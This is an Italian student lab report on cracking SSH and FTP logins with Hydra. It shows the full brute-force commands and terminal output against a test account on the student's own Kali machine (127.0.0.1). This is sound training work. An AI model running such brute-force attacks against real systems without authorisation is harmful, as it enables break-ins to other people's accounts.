


Febbraio 2024

CYBER SECURITY SPECIALIST

S5L5



Jacopo Trovato

Authentication cracking con Hydra

- ssh

Attraverso il software di **Hydra** è possibile crackare vari servizi come quello ssh.

Creando un nuovo utente "test_user" con password "testpass". Con il comando 'sudo service ssh start' parte il servizio ssh.

Una volta avviato si può usare hydra per crackare la password, prendendo dei file con degli username e delle password preimpostate si può dare inizio alla ricerca per trovare le credenziali con il comando "hydra -L (lista username) -P (lista password) (IP di Kali) -t 4 ssh" un esempio del comando completo è il seguente:

hydra -L Desktop/Username.txt -P Desktop/Passwords.txt 127.0.0.1 -t 4 ssh.

```

kali@kali: ~
File Actions Edit View Help

(kali@kali)~$ hydra -L Desktop/Username.txt -P Desktop/Passwords.txt 127.0.0.1 -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 08:56:35
[DATA] max 4 tasks per 1 server, overall 4 tasks, 16 login tries (l:4/p:4), ~4 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 08:56:48
  
```

- ftp

L'attacco successivo è verso il servizio **ftp**.

Installare il servizio col comando "sudo apt-get install vsftpd", aggiornare i pacchetti di Kali prima di installare ftp.

Una volta installato bisogna far partire il servizio col comando "service vsftpd start". In seguito è possibile crackarlo con hydra tramite il comando visto in precedenza con la differenza che alla fine andrà inserito ftp al posto di ssh.

```

kali@kali: ~
File Actions Edit View Help

(kali@kali)~$ hydra -L Desktop/Username.txt -P Desktop/Passwords.txt 127.0.0.1 -t4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 09:48:10
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:2/p:2), ~1 try per task
[DATA] attacking ftp://127.0.0.1:21/
[21][ftp] host: 127.0.0.1 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 09:48:14
  
```